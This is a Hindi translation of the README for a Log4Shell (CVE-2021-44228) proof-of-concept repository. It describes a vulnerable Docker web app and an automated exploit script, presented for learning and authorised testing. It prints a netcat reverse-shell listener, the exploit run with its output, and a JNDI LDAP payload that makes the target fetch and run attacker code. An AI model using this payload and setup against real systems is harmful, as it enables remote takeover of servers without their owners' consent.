
CVE-2021-44228 भेद्यता के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट।
हाल ही में पाए गए CVE-2021-44228 कमजोरी के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट।
हाल ही में log4j में एक नई कमजोरी सामने आई, जो एक Java लॉगिंग लाइब्रेरी है जो elasticsearch, minecraft और कई अन्य जगहों पर व्यापक रूप से उपयोग की जाती है।
इस रिपॉजिटरी में हमने एक उदाहरण असुरक्षित अनुप्रयोग और उसका प्रूफ-ऑफ-कॉन्सेप्ट (POC) एक्सप्लॉइट बनाया है।
असुरक्षित वेब ऐप:
Ghidra (पुरानी स्क्रिप्ट):
Minecraft PoC (पुरानी स्क्रिप्ट):
PoC के रूप में, हमने एक पायथन फ़ाइल बनाई है जो इस प्रक्रिया को स्वचालित करती है।
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 नाम का होना चाहिए, और उसी निर्देशिका में होना चाहिए।$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
यह स्क्रिप्ट आपके लिए HTTP सर्वर और LDAP सर्वर सेटअप करेगी, और यह वह पेलोड भी बनाएगी जिसे आप असुरक्षित पैरामीटर में पेस्ट कर सकते हैं। इसके बाद, यदि सब कुछ ठीक रहा, तो आपको lport पर शेल मिल जाना चाहिए।
हमने असुरक्षित वेबऐप के साथ एक Dockerfile जोड़ा है। आप इसे नीचे दिए गए चरणों का पालन करके उपयोग कर सकते हैं:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
एक बार यह चल रहा हो, तो आप इसे localhost:8080 पर एक्सेस कर सकते हैं।
यदि आप परियोजना को आगे विकसित करना चाहते हैं, तो आप Intellij IDE का उपयोग कर सकते हैं, जिसका उपयोग हमने परियोजना को विकसित करने के लिए किया था। हमने एक .idea फ़ोल्डर भी शामिल किया है जहाँ कॉन्फ़िगरेशन फ़ाइलें हैं जो काम को थोड़ा आसान बनाती हैं। आप शायद अन्य IDE का भी उपयोग कर सकते हैं।
एक्सप्लॉइट बनाते समय हमें यह निश्चित नहीं था कि Java के कौन से संस्करण काम करते हैं और कौन से नहीं, इसलिए हमने Java 8 के सबसे शुरुआती संस्करणों में से एक: java-8u20 के साथ काम करना चुना।
Oracle शुक्र है कि पिछले सभी Java संस्करणों का एक आर्काइव प्रदान करता है:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html।
नीचे 8u20 तक स्क्रॉल करें और अपने ऑपरेटिंग सिस्टम और हार्डवेयर के लिए उपयुक्त फ़ाइलें डाउनलोड करें।

नोट: पैकेज डाउनलोड करने के लिए आपको एक खाता बनाना आवश्यक है।
एक बार जब आप आर्काइव डाउनलोड और निकाल लेते हैं, तो आप jdk1.8.0_20/bin में java और कुछ संबंधित बाइनरी पा सकते हैं।
नोट: कृपया सुनिश्चित करें कि इसे काम करने के लिए jdk फ़ोल्डर को इसी नाम के साथ इस रिपॉजिटरी में निकालें।
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
यह रिपॉजिटरी CVE-2021-44228 के लिए एक-क्लिक एक्सप्लॉइट होने के इरादे से नहीं है। इस परियोजना का उद्देश्य लोगों को इस शानदार कमजोरी के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है (हालाँकि इस उद्देश्य के लिए बेहतर अनुप्रयोग हैं, जैसे: https://log4shell.tools/)।
हमारी टीम दुर्भावनापूर्ण गतिविधि के लिए इस एक्सप्लॉइट के किसी भी उपयोग में सहायता या समर्थन नहीं करेगी, इसलिए यदि आप सहायता माँगते हैं तो आपको हमें यह प्रमाण देना पड़ सकता है कि आप या तो लक्षित सेवा के मालिक हैं या आपके पास उस पर पेनटेस्ट करने की अनुमति है।